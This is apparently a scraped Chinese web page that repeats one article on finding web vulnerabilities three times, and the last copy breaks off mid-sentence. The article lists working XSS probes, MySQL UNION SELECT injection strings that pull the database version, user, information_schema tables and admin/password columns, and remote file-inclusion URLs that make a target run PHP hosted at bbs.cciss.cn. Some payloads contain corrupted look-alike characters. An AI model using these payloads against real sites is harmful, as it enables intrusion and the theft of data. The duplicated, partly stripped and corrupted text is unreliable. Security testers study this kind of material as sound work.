精华内容
下载资源
问答
  • WEB漏洞挖掘技术

    千次阅读 2015-11-02 17:56:51
    WEB漏洞挖掘技术 --]前言 漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的 提升而有所变化.在前期针对缓冲区溢出 格式化字符串 堆溢出 lib库溢出等技术都 是针对ELF文件(Linux可执行...
    WEB漏洞挖掘技术
    --]前言
    漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的
    提升而有所变化.在前期针对缓冲区溢出 格式化字符串 堆溢出 lib库溢出等技术都
    是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行文件)的漏洞挖掘技术.
    在针对ELF文件 PE文件(*.exe与*.dll)的漏洞挖掘过程中,出现了很多的漏洞挖掘
    技术,但是针对PE文件 ELF文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)
    源代码审计等办法.通过RATS等源代码审计软件可以找到部分源代码级别的漏洞信息,
    但是毕竟源代码审计软件寻找的多数为strcpy memcpy等存在缓冲区溢出遗患的C函数,
    所以通过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术,而
    针对软件的黑盒子测试虽然也能找到一些软件的漏洞,但可能性系数也会较小,在国外
    的一些进行漏洞挖掘的办法已经慢慢的提升为自己写黑盒子测试代码,然后针对系统或
    软件的某个功能模块进行模块化的漏洞挖掘技术.例如Linux内核的很多漏洞都是通过
    fuzzing技术找到的,fuzzing即模糊测试的意思,大家可以理解为类似SQL盲注入类型的
    攻击技术.
    网络安全的界限在不断的提升,目前缓冲区溢出漏洞已经如MS SQL注入般的被很多人
    堵死,而在进行网络入侵渗透的过程中,很多人渗透成功的着力点都是通过WEB开始的,
    当然有些人是通过MS SQL注入,有些人通过其它的WEB漏洞技术一步步的走到了入侵成功
    的步骤.我们下面将会讨论一些WEB漏洞挖掘的简单技术,通过这些简单技术的规则,然后
    配合经验的提高,大家或许会得到意想不到的效果.
    --]WEB漏洞的分类
    A: SQL注入(包括MSSQL MySQL Oracle等)
    SQL注入漏洞,是依靠存在弱点的WEB脚本代码,来实现通过浏览器执行任意SQL语句,从而
    实现最终获取某种权限的攻击技术.SQL注入的关键部分在于对元数据的利用,所谓元数据即
    数据库的基础数据.例如我们可以通过database() version()来获得数据库的名称及版本,
    而我们通过SQL内置函数获得的这些内容都属于数据库元数据的内容.理解了元数据的概念,
    在后面的章节我会给大家简单的讲解下通过元数据来获取MySQL的数据表.
    B: 文件包含类型,如PHP的的远程 本地文件包含漏洞
    文件包含漏洞是PHP程序特有的一个弱点攻击,原理就是在使用include时没有安全的编程,
    而能够找到文件包含漏洞则是入侵一个WEB系统的很重要的因素,有了文件包含漏洞则可以
    很快速的达到上传WEBSHELL,然后本地提升权限的作用.
    C: XSS
    XSS漏洞是被很多人遗忘的漏洞,但是XSS也是一个比较危险的安全隐患,我看到很多国内介绍
    XSS漏洞的文章大部分在如何欺骗管理员获得后台登陆帐户或者管理员的cookies文件.但这些
    仅仅是XSS漏洞的简单用法,如果寻找到的XSS漏洞可以任意执行任何的Javascript脚本,那安全
    性也是不容忽视的.通过Javascript脚本其实也可以做一些恶意的攻击,甚至可以获得一些WEB
    程序的源代码,当然这个要看大家对Javascript脚本的熟悉程度.例如我们这几天公布的这个可
    跨站执行任意Javascript脚本的漏洞,最后我也通过这个漏洞给客户演示了如何获取他们的服务
    器信息,并最终实现得到其一定权限的方法.
    同时例如session欺骗 cookies欺骗,目前我也把这些规入了XSS漏洞的范围,当然仅仅研究这
    两个技术也是很值得大家去深入的进行漏洞挖掘的.
    --]WEB漏洞挖掘规则
    我想给大家事先说明下,该文档的所有内容都为黑盒子测试的范围,也即使用这些漏洞挖掘规则,
    大家仅仅需要一个WEB浏览器,如IE Firefox等即可,也无需读取WEB程序的源代码,只要某个规则
    符合了漏洞规则的要求,大家即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法:)
    再次的罗嗦一下,在本文档我没有实际的例子给大家,但是很多漏洞挖掘的规则都是一些经验的
    积累,而且很多可能在实际进行漏洞挖掘时需要与实际情况进行分析处理,例如:
    http://website/index1.php?id=<script>alert("111")</script>,如果对方的代码过滤了"双引号
    那么可以通过http://website/index1.php?id=<script>alert('111')</script>,采用'单引号测试
    若单引号也过滤呢?OK,我们这样来测试http://website/index1.php?id=<script>alert(111)</script>
    使用数字提交,这样测试XSS的漏洞就扩展到了三条:)有些具体的站点可能还会有很多的问题,例如:
    通过构造HTML语句来实现XSS漏洞的挖掘等等.
    A: XSS的漏洞挖掘规则


    http://website/index1.php?id=<script>alert("111")</script>


    http://website/index1.php?id=<script>alert('111')</script>


    http://website/index1.php?id=<script>alert(111)</script>


    http://website/index1.php?id=<body+οnlοad=alert("1111")>


    http://website/index1.php?id=<body+οnlοad=alert('1111')>


    http://website/index1.php?id=<body+οnlοad=alert(1111)>


    http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+οnlοad=alert("1111")>


    http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+οnlοad=alert('1111')>


    http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+οnlοad=alert(1111)>


    http://website/index1.php?id=<"


    http://website/index1.php?id=<'


    http://website/index1.php?id=<


    http://website/index1.php?id=<!--


    http://website/index1.php?id=-->


    http://website/index1.php?id=<!-- -->




    使用上面的这些简单漏洞规则,如果模糊测试一些站点的话,是可以找到一些XSS漏洞的,当然这些
    不是全部的XSS漏洞规则,但是我觉得这些规则比较经典些:)我测试一些站点的时候,使用这些
    规则基本上可以找到一些XSS漏洞.
    B: SQL Injection
    现在,MSSQL的注入技术已经变的很简单,下面的内容我们针对mysql的注入和大家一起讨论下
    相关的技术,这些技术有简单的,也有一些比较复杂的.另外mysql的注入工具目前没有任何比较
    强的工具,目前书写一款功能较强的MySQL注入检测工具也基本纳入了2007年的计划内.
    下面会针对各种规则,然后对这些规则进行简单的说明,很多规则我相信大家都用过的,不对
    的地方希望大家给予指针.
    下面的这四个语句判断是否存在mysql注入,其中'号类型的测试已经不是很可行,特别在PHP5和mysql
    5的环境下:)


    http://website/index1.php?id=1'


    http://website/index1.php?id=1 and 1=1


    http://website/index1.php?id=1 and 1=2


    http://website/index1.php?id=1 order by 4 //4为判断该表的列数,直到猜测到为止




    下面的语句来获取mysql的一些信息,这里我们假设我们使用order by语句判断出的列数为4


    http://website/index1.php?id=1 and 1=1 union select 1,2,3,4


    http://website/index1.php?id=1 and 1=1 union select version(),database(),user(),4


    http://website/index1.php?id=1 and 1=1 union select 1/*


    http://website/index1.php?id=1 and 1=1 union select version()/*


    http://website/index1.php?id=1 and 1=1 union select databse()/*




    猜测表名:


    http://website/index1.php?id=1 and 1=1 union select 1,2,3,4 from database.table where 1=2


    //where 1=2 不打印猜测表的内容




    这里的猜测就需要大家多靠经验了,如admin user articles news等等,而且必须在指定select
    的字段个数再使用,否则mysql会报错.
    http://website/index1.php?id=1 and 1=1 union select table_schema,table_name,table_rows,
    table_count from information_schema.tables //如果执行这条语句是可行的,那么恭喜大家可以
    得到更多的数据库信息了:)
    上面我曾经提到过使用数据库的元数据来获取mysql的信息,就是这里的这个办法,当然前提是系统
    管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的.
    在开始分析mysql数据库到底可以执行到那种程度的注入情况下,我花了一天的时间分析了mysql的
    系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql
    数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息,下面的
    内容属于临时增加的一个章节,我们一起来讨论下information_schema数据库的一些我们用到的表
    的具体字段到底是干什么的:)


    1: KEY_COLUMN_USAGE表


    constraint_schema: 存放数据库名


    table_schema: 存放数据库名


    table_name: 存放数据库表信息


    column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息


    2: SCHEMA表


    schema_name: 存放数据库名


    default_charater_set_name: 存放charset类型


    default_collation_name: 存放charset相关信息


    3: SCHEMA_PRIVILEGES表


    grantee: 存放数据库用户名


    table_schema: 表名


    privilege_type: 权限


    4: STATISTICS表


    table_schema: 存放数据库名


    table_name: 存放表名


    index_schema: 数据库名


    index_name: 是否缩引?


    column_name: 存放索引自增字段?


    5: TABLES表


    table_schema: 存放数据库名


    table_name: 存放表名


    table_type: 表类型 SYSTEM or BASE TABLE


    engin: MEMORY MYISAM InnoDB


    version:


    table_rows:表的行数


    auto_increment: 自增的总行数


    create_time: 创建表的时间


    update_time: 更新表的时间


    create_options: 创建表时的约束条件


    ...




    有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而
    直接获取数据库表名的结果.我在本地测试时一切OK:)
    猜测列名:
    http://website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2
    按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会
    出错,也可以使用where 1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表
    的字段信息,如:admin与password:)
    C: 文件包含漏洞
    文件包含漏洞的测试,有以下几个比较简单且有效的办法.
    1: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为*.txt格式
    2: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为无后缀格式
    然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL为:


    http://bbs.cciss.cn/include.txt


    http://bbs.cciss.cn/include




    漏洞规则:


    http://website/file.php?inc=http://bbs.cciss.cn/include.txt


    http://website/file.php?inc=http://bbs.cciss.cn/include.txt?


    http://website/file.php?inc=http://bbs.cciss.cn/include?


    http://website/file.php?inc=http://bbs.cciss.cn/include


    使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断.
    例如从XSS漏洞的检测规则可能会发现包含文件漏洞:)
    如果我们知道PHP的某个函数存在缓冲区溢出,我们假设这个PHP的内置函数为phphtml(char *str),
    那么我们如何利用这样的漏洞呢?
    我们假设http://website/file.php?inc=test,这里的参数inc经过PHP代码时使用了phphtml内置
    函数,则可以使用下面的办法来触发漏洞
    http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数)
    当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode.
    但这里也存在一个问题,即一般情况下,类似PHP本身的溢出漏洞的利用是有些难度存在的.
    --] 总结
    针对WEB漏洞的挖掘,规则有N多,其中还有很多变种的规则.这里说的基本上是一些可以简单采取
    手工办法测试的规则,更多的规则是依靠经验不断积累所致:)
    本文比较简单,也没有什么技术含量,只是看到xfocus上介绍WEB漏洞的文章较少,所以才想到提交下,
    希望对大家有所帮助.
    展开全文
  • WEB漏洞挖掘技术总结

    2014-03-22 16:33:00
    漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化。在前期针对缓冲区溢出、格式化字符串、堆溢出、lib库溢出等技术都是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行...

    漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化。在前期针对缓冲区溢出、格式化字符串、堆溢出、lib库溢出等技术都是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行文件)的漏洞挖掘技术。

      在针对ELF文件、PE文件(*.exe与*.dll)的漏洞挖掘过程中,出现了很多的漏洞挖掘技术,但是针对PE文件、ELF文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)源代码审计等办法。通过RATS等源代码审计软件可以找到部分源代码级别的漏洞信息,但是毕竟源代码审计软件寻找的多数为strcpy memcpy等存在缓冲区溢出遗患的C函数,所以通过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术,而针对软件的黑盒子测试虽然也能找到一些软件的漏洞,但可能性系数也会较小,在国外的一些进行漏洞挖掘的办法已经慢慢的提升为自己写黑盒子测试代码,然后针对系统或软件的某个功能模块进行模块化的漏洞挖掘技术。

      例如Linux内核的很多漏洞都是通过fuzzing技术找到的,fuzzing即模糊测试的意思,大家可以理解为类似SQL盲注入类型的攻击技术。

      本文为CISRG的内部讨论文档,因此本文档的内容仅仅针对WEB漏洞的挖掘进行适当的讨论。

      网络安全的界限在不断的提升,目前缓冲区溢出漏洞已经如MS SQL注入般的被很多人堵死,而在进行网络入侵渗透的过程中,很多人渗透成功的着力点都是通过WEB开始的,当然有些人是通过MS SQL注入,有些人通过其它的WEB漏洞技术一步步的走到了入侵成功的步骤。我们下面将会讨论一些WEB漏洞挖掘的简单技术,通过这些简单技术的规则,然后配合经验的提高,大家或许会得到意想不到的效果。

      WEB漏洞的分类

      A: SQL注入(包括MSSQL MySQL Oracle等)

      SQL注入漏洞,是依靠存在弱点的WEB脚本代码,来实现通过浏览器执行任意SQL语句,从而实现最终获取某种权限的攻击技术。SQL注入的关键部分在于对元数据的利用,所谓元数据即数据库的基础数据。例如我们可以通过database() version()来获得数据库的名称及版本,而我们通过SQL内置函数获得的这些内容都属于数据库元数据的内容。

      理解了元数据的概念,在后面的章节我会给大家简单的讲解下通过元数据来获取MySQL的数据表。

      B: 文件包含类型,如PHP的的远程、本地文件包含漏洞

      文件包含漏洞是PHP程序特有的一个弱点攻击,原理就是在使用include时没有安全的编程,而能够找到文件包含漏洞则是入侵一个WEB系统的很重要的因素,有了文件包含漏洞则可以很快速的达到上传WEBSHELL,然后本地提升权限的作用。

      C: XSS

      XSS漏洞是被很多人遗忘的漏洞,但是XSS也是一个比较危险的安全隐患,很多国内介绍XSS漏洞的文章大部分在如何欺骗管理员获得后台登陆帐户或者管理员的cookies文件。但这些仅仅是XSS漏洞的简单用法,如果寻找到的XSS漏洞可以任意执行任何的Javascript脚本,那安全性也是不容忽视的。通过Javascript脚本其实也可以做一些恶意的攻击,甚至可以获得一些WEB程序的源代码,当然这个要看大家对Javascript脚本的熟悉程度。例如我们这几天公布的这个可跨站执行任意Javascript脚本的漏洞,最后我也通过这个漏洞给客户演示了如何获取他们的服务器信息,并最终实现得到其一定权限的方法。

      同时例如session欺骗,目前我也把这些规入了XSS漏洞的范围,当然仅仅研究这两个技术也是很值得大家去深入的进行漏洞挖掘的。

    WEB漏洞挖掘规则

      我想给大家事先说明下,该文档的所有内容都为黑盒子测试的范围,也即使用这些漏洞挖掘规则,大家仅仅需要一个WEB浏览器,如IE Firefox等即可,也无需读取WEB程序的源代码,只要某个规则符合了漏洞规则的要求,即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法。

      在本文档我没有实际的例子给大家,但是很多漏洞挖掘的规则都是一些经验的积累,而且很多可能在实际进行漏洞挖掘时需要与实际情况进行分析处理,例如:

      http://website/index1.php?id=,如果对方的代码过滤了"双引号那么可以通过http://website/index1.php?id=,采用'单引号测试

      若单引号也过滤呢?我们这样来测试http://website/index1.php?id=使用数字提交,这样测试XSS的漏洞就扩展到了三条,有些具体的站点可能还会有很多的问题,如通过构造HTML语句来实现XSS漏洞的挖掘等等。

      A: XSS的漏洞挖掘规则

      代码:

      http://website/index1.php?id=

      http://website/index1.php?id=

      http://website/index1.php?id=

      http://website/index1.php?id=

      http://website/index1.php?id=

      http://website/index1.php?id=

      http://website/index1.php?id=

      http://website/index1.php?id=

      http://website/index1.php?id=

      http://website/index1.php?id=<"

      http://website/index1.php?id=<'

      http://website/index1.php?id=<

      http://website/index1.php?id=

      http://website/index1.php?id=

      使用上面的这些简单漏洞规则,如果模糊测试一些站点的话,是可以找到一些XSS漏洞的,当然这些不是全部的XSS漏洞规则,但是我觉得这些规则比较经典些。在实际测试一些站点的时候,使用这些规则基本上可以找到一些XSS漏洞.

      B: SQL Injection

      现在,MSSQL的注入技术已经变的很简单,下面的内容我们针对mysql的注入和大家一起讨论下相关的技术,这些技术有简单的,也有一些比较复杂的。另外mysql的注入工具目前没有任何比较强的工具,我也在考虑我们CISRG是否要自己开发一款mysql的注入工具?

      下面的这四个语句判断是否存在mysql注入,其中'号类型的测试已经不是很可行,特别在PHP5和mysql5的环境下。

      代码:

      http://website/index1.php?id=1'

      http://website/index1.php?id=1 and 1=1

      http://website/index1.php?id=1 and 1=2

      http://website/index1.php?id=1 order by 4 //4为判断该表的列数,直到猜测到为止

      下面的语句来获取mysql的一些信息,这里我们假设我们使用order by语句判断出的列数为4

      代码:

      http://website/index1.php?id=1 and 1=1 union select 1,2,3,4

      http://website/index1.php?id=1 and 1=1 union select version(),database(),user(),4

      http://website/index1.php?id=1 and 1=1 union select 1/*

      http://website/index1.php?id=1 and 1=1 union select version()/*

      http://website/index1.php?id=1 and 1=1 union select databse()/*

      猜测表名:

      代码:

      http://website/index1.php?id=1 and 1=1 union select 1,2,3,4 from database.table where 1=2

      //where 1=2 不打印猜测表的内容

      这里的猜测就需要大家多靠经验了,如admin user articles news等等,且必须在指定select的字段个数再使用,否则mysql会报错。

      http://website/index1.php?id=1 and 1=1 union select table_schema,table_name,table_rows,table_count from information_schema.tables //如果执行这条语句是可行的,那么恭喜大家可以得到更多的数据库信息了。

      上面我曾经提到过使用数据库的元数据来获取mysql的信息,就是这里的这个办法,当然前提是系统管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的。

      在开始分析mysql数据库到底可以执行到那种程度的注入情况下,我花了一天的时间分享了mysql的系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息,下面的内容讨论下information_schema数据库的一些我们用到的表的具体字段到底是干什么的。

      代码:

      1: KEY_COLUMN_USAGE表

      constraint_schema: 存放数据库名

      table_schema: 存放数据库名

      table_name: 存放数据库表信息

      column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息

      2: SCHEMA表

      schema_name: 存放数据库名

      default_charater_set_name: 存放charset类型

      default_collation_name: 存放charset相关信息

      3: SCHEMA_PRIVILEGES表

      grantee: 存放数据库用户名

      table_schema: 表名

      privilege_type: 权限

      4: STATISTICS表

      table_schema: 存放数据库名

      table_name: 存放表名

      index_schema: 数据库名

      index_name: 是否缩引?

      column_name: 存放索引自增字段?

      5: TABLES表

      table_schema: 存放数据库名

      table_name: 存放表名

      table_type: 表类型 SYSTEM or BASE TABLE

      engin: MEMORY MYISAM InnoDB

      version:

      table_rows:表的行数

      auto_increment: 自增的总行数

      create_time: 创建表的时间

      update_time: 更新表的时间

      create_options: 创建表时的约束条件

      ...

      有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而直接获取数据库表名的结果。

      猜测列名:

      http://website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2

      按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会出错,也可以使用where 1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表的字段信息,如:admin与password

      C: 文件包含漏洞

      文件包含漏洞的测试,有以下几个比较简单且有效的办法.

      1: 新建一个简单的php代码,如:保存为*.txt格式

      2: 新建一个简单的php代码,如:保存为无后缀格式

      然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL为:

      代码:

      http://bbs.cciss.cn/include.txt

      http://bbs.cciss.cn/include

      漏洞规则

      代码:

      http://website/file.php?inc=http://bbs.cciss.cn/include.txt

      http://website/file.php?inc=http://bbs.cciss.cn/include.txt?

      http://website/file.php?inc=http://bbs.cciss.cn/include?

      http://website/file.php?inc=http://bbs.cciss.cn/include

      使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断。例如从XSS漏洞的检测规则可能会发现包含文件漏洞。

      如果我们知道PHP的某个函数存在缓冲区溢出,我们假设这个PHP的内置函数为phphtml(char *str),那么我们如何利用这样的漏洞呢?

      我们假设http://website/file.php?inc=test,这里的参数inc经过PHP代码时使用了phphtml内置函数,则可以使用下面的办法来触发漏洞http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数)

      当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode。

    展开全文
  • web应用漏洞挖掘技术

    2016-07-30 11:48:00
    单位组织的web应用漏洞挖掘技术的讲座,刚好之前工作接触过SQL注入和文件处理漏洞攻击的相关内容,所以对这方面稍微有点儿了解,也想通过讲座学习一下别人的想法和分享的知识。简单记录一下讲座内容。 图自网络 ...
        

    单位组织的web应用漏洞挖掘技术的讲座,刚好之前工作接触过SQL注入和文件处理漏洞攻击的相关内容,所以对这方面稍微有点儿了解,也想通过讲座学习一下别人的想法和分享的知识。简单记录一下讲座内容。

    2176221-a201e3294297a280.PNG
    图自网络

    web发展趋势

    1、web1.0时代:门户网站时代,1989年-2000年,11年的时间

    2、web2.0时代:用户创造时代,从2001年开始算起。前端<-->后端<-->数据库

    漏洞攻击的方法原理

    1、XSS跨站漏洞攻击:典型的利用就是蠕虫,其中最有名的是samy蠕虫,蠕虫作者samy利用蠕虫感染,24小时内在myspace增长了100万的粉丝。

    2、CSRF漏洞攻击(Cross Site Request Forgery):利用浏览器的cookie,当用户访问某正常网站时点击了危险攻击的链接,cookie内的用户名、密码等信息就会被读取。

    3、点击劫持漏洞攻击:也被称为UI-覆盖攻击。是一种视觉欺骗手段,看到的页面不一定就是真实的页面,这也涉及到了网站界面安全的问题。

    4、SQL注入漏洞攻击:该攻击的对象是web服务器端,目的有多种:可以用来绕过身份验证、脱裤、执行系统命令、创建木马程序等。SQL注入漏洞攻击也是被研究较多的攻击类型,属于数据被污染的污点型漏洞。预编译可以预防很多种情况的SQL注入漏洞攻击。

    5、文件处理漏洞攻击:这也是非常常见的一种漏洞攻击形式,利用网站的上传通道通过修改文件类型、上传路径等上传文件进行攻击,下载的路径也可能会被利用。

    6、执行命令漏洞攻击:可以浏览文件系统

    7、其他漏洞攻击:密码攻击(暴力破解、猜测、密码找回、撞库等,各种攻击方式的使用也与网站是否限制错误登录次数有关)、会话攻击、应用层拒绝服务攻击等等。

    web应用漏洞挖掘技术

    1、模糊测试:通过输入非预期输入观察输出来确定是否有漏洞

    2、数据流分析:沿程序执行的路径进行分析

    3、污点分析(热点):分析用户数据能否影响敏感点函数参数

    4、符号执行基本原理:变量值用符号代替,模拟程序执行

    总结

    以上,是我凭自己在会场的记录总结的讲座内容要点,日后想起来的时候也可以回来找找看看。做一名杂食程序媛~\(^o^)/

    展开全文
  • 漏洞挖掘技术

    2010-12-07 16:03:00
    <br />来源:安全焦点 作者:7all (sgh81_at_163.com) WEB漏洞挖掘技术 |=---------------=[ WEB漏洞挖掘技术 ]=-----------------------------=| |=-----------------------------------...

    来源:安全焦点
    作者:7all (sgh81_at_163.com)

    WEB漏洞挖掘技术

    |=---------------=[ WEB漏洞挖掘技术 ]=-----------------------------=|
    |=-----------------------------------------------------------------=|
    |=---------------=[ 7all<7all7_at_163.com> ]=----------------------=|
    |=-----------------------------------------------------------------=|
    |=---------------=[ bbs.cciss.cn ]=--------------------------------=|

    --]前言
    漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的
    提升而有所变化.在前期针对缓冲区溢出 格式化字符串 堆溢出 lib库溢出等技术都
    是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行文件)的漏洞挖掘技术.
    在针对ELF文件 PE文件(*.exe与*.dll)的漏洞挖掘过程中,出现了很多的漏洞挖掘
    技术,但是针对PE文件 ELF文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)
    源代码审计等办法.通过RATS等源代码审计软件可以找到部分源代码级别的漏洞信息,
    但是毕竟源代码审计软件寻找的多数为strcpy memcpy等存在缓冲区溢出遗患的C函数,
    所以通过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术,而
    针对软件的黑盒子测试虽然也能找到一些软件的漏洞,但可能性系数也会较小,在国外
    的一些进行漏洞挖掘的办法已经慢慢的提升为自己写黑盒子测试代码,然后针对系统或
    软件的某个功能模块进行模块化的漏洞挖掘技术.例如Linux内核的很多漏洞都是通过
    fuzzing技术找到的,fuzzing即模糊测试的意思,大家可以理解为类似SQL盲注入类型的
    攻击技术.
    网络安全的界限在不断的提升,目前缓冲区溢出漏洞已经如MS SQL注入般的被很多人
    堵死,而在进行网络入侵渗透的过程中,很多人渗透成功的着力点都是通过WEB开始的,
    当然有些人是通过MS SQL注入,有些人通过其它的WEB漏洞技术一步步的走到了入侵成功
    的步骤.我们下面将会讨论一些WEB漏洞挖掘的简单技术,通过这些简单技术的规则,然后
    配合经验的提高,大家或许会得到意想不到的效果.

    --]WEB漏洞的分类
    A: SQL注入(包括MSSQL MySQL Oracle等)
    SQL注入漏洞,是依靠存在弱点的WEB脚本代码,来实现通过浏览器执行任意SQL语句,从而
    实现最终获取某种权限的攻击技术.SQL注入的关键部分在于对元数据的利用,所谓元数据即
    数据库的基础数据.例如我们可以通过database() version()来获得数据库的名称及版本,
    而我们通过SQL内置函数获得的这些内容都属于数据库元数据的内容.理解了元数据的概念,
    在后面的章节我会给大家简单的讲解下通过元数据来获取MySQL的数据表.

    B: 文件包含类型,如PHP的的远程 本地文件包含漏洞
    文件包含漏洞是PHP程序特有的一个弱点攻击,原理就是在使用include时没有安全的编程,
    而能够找到文件包含漏洞则是入侵一个WEB系统的很重要的因素,有了文件包含漏洞则可以
    很快速的达到上传WEBSHELL,然后本地提升权限的作用.

    C: XSS
    XSS漏洞是被很多人遗忘的漏洞,但是XSS也是一个比较危险的安全隐患,我看到很多国内介绍
    XSS漏洞的文章大部分在如何欺骗管理员获得后台登陆帐户或者管理员的cookies文件.但这些
    仅仅是XSS漏洞的简单用法,如果寻找到的XSS漏洞可以任意执行任何的Javascript脚本,那安全
    性也是不容忽视的.通过Javascript脚本其实也可以做一些恶意的攻击,甚至可以获得一些WEB
    程序的源代码,当然这个要看大家对Javascript脚本的熟悉程度.例如我们这几天公布的这个可
    跨站执行任意Javascript脚本的漏洞,最后我也通过这个漏洞给客户演示了如何获取他们的服务
    器信息,并最终实现得到其一定权限的方法.
    同时例如session欺骗 cookies欺骗,目前我也把这些规入了XSS漏洞的范围,当然仅仅研究这
    两个技术也是很值得大家去深入的进行漏洞挖掘的.

    --]WEB漏洞挖掘规则
    我想给大家事先说明下,该文档的所有内容都为黑盒子测试的范围,也即使用这些漏洞挖掘规则,
    大家仅仅需要一个WEB浏览器,如IE Firefox等即可,也无需读取WEB程序的源代码,只要某个规则
    符合了漏洞规则的要求,大家即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法:)
    再次的罗嗦一下,在本文档我没有实际的例子给大家,但是很多漏洞挖掘的规则都是一些经验的
    积累,而且很多可能在实际进行漏洞挖掘时需要与实际情况进行分析处理,例如:
    http://website/index1.php?id=<script>alert("111")</script>,如果对方的代码过滤了"双引号
    那么可以通过http://website/index1.php?id=<script>alert('111')</script>,采用'单引号测试
    若单引号也过滤呢?OK,我们这样来测试http://website/index1.php?id=<script>alert(111)</script>
    使用数字提交,这样测试XSS的漏洞就扩展到了三条:)有些具体的站点可能还会有很多的问题,例如:
    通过构造HTML语句来实现XSS漏洞的挖掘等等.

    A: XSS的漏洞挖掘规则

    http://website/index1.php?id=<script>alert("111")</script>

    http://website/index1.php?id=<script>alert('111')</script>

    http://website/index1.php?id=<script>alert(111)</script>

    http://website/index1.php?id=<body+οnlοad=alert("1111")>

    http://website/index1.php?id=<body+οnlοad=alert('1111')>

    http://website/index1.php?id=<body+οnlοad=alert(1111)>

    http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+οnlοad=alert("1111")>

    http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+οnlοad=alert('1111')>

    http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+οnlοad=alert(1111)>

    http://website/index1.php?id=<"

    http://website/index1.php?id=<'

    http://website/index1.php?id=<

    http://website/index1.php?id=<!--

    http://website/index1.php?id=-->

    http://website/index1.php?id=<!-- -->

    使用上面的这些简单漏洞规则,如果模糊测试一些站点的话,是可以找到一些XSS漏洞的,当然这些
    不是全部的XSS漏洞规则,但是我觉得这些规则比较经典些:)我测试一些站点的时候,使用这些
    规则基本上可以找到一些XSS漏洞.

    B: SQL Injection
    现在,MSSQL的注入技术已经变的很简单,下面的内容我们针对mysql的注入和大家一起讨论下
    相关的技术,这些技术有简单的,也有一些比较复杂的.另外mysql的注入工具目前没有任何比较
    强的工具,目前书写一款功能较强的MySQL注入检测工具也基本纳入了2007年的计划内.
    下面会针对各种规则,然后对这些规则进行简单的说明,很多规则我相信大家都用过的,不对
    的地方希望大家给予指针.
    下面的这四个语句判断是否存在mysql注入,其中'号类型的测试已经不是很可行,特别在PHP5和mysql
    5的环境下:)

    http://website/index1.php?id=1'

    http://website/index1.php?id=1 and 1=1

    http://website/index1.php?id=1 and 1=2

    http://website/index1.php?id=1 order by 4 //4为判断该表的列数,直到猜测到为止

    下面的语句来获取mysql的一些信息,这里我们假设我们使用order by语句判断出的列数为4

    http://website/index1.php?id=1 and 1=1 union select 1,2,3,4

    http://website/index1.php?id=1 and 1=1 union select version(),database(),user(),4

    http://website/index1.php?id=1 and 1=1 union select 1/*

    http://website/index1.php?id=1 and 1=1 union select version()/*

    http://website/index1.php?id=1 and 1=1 union select databse()/*

    猜测表名:

    http://website/index1.php?id=1 and 1=1 union select 1,2,3,4 from database.table where 1=2

    //where 1=2 不打印猜测表的内容

    这里的猜测就需要大家多靠经验了,如admin user articles news等等,而且必须在指定select
    的字段个数再使用,否则mysql会报错.
    http://website/index1.php?id=1 and 1=1 union select table_schema,table_name,table_rows,
    table_count from information_schema.tables //如果执行这条语句是可行的,那么恭喜大家可以
    得到更多的数据库信息了:)
    上面我曾经提到过使用数据库的元数据来获取mysql的信息,就是这里的这个办法,当然前提是系统
    管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的.
    在开始分析mysql数据库到底可以执行到那种程度的注入情况下,我花了一天的时间分析了mysql的
